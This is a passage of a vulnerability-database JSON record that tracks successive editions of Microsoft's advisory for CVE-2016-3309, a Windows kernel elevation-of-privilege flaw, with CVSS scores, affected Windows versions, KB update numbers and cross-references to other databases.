"kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-03T18:47:11", "differentElements": ["msAffectedSoftware"], "edition": 5}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-03T20:42:24", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-03T20:42:24", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-03T20:42:24", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176492", "KB3176495", "KB3176493", "KB3172985", "KB3177725", "KB3168965", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-03T20:42:24", "differentElements": ["msAffectedSoftware"], "edition": 6}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-04T06:47:21", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-04T06:47:21", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-04T06:47:21", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176493", "KB3176495", "KB3172985", "KB3163912", "KB3177725", "KB3176492", "KB3168965"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-04T06:47:21", "differentElements": ["msAffectedSoftware"], "edition": 7}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-04T08:55:49", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-04T08:55:49", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-04T08:55:49", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3177725", "KB3168965", "KB3176495", "KB3176493", "KB3163912", "KB3172985", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-04T08:55:49", "differentElements": ["msAffectedSoftware"], "edition": 8}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-04T14:46:24", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-04T14:46:24", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-04T14:46:24", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3176493", "KB3177725", "KB3176492", "KB3172985", "KB3163912", "KB3176495"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for 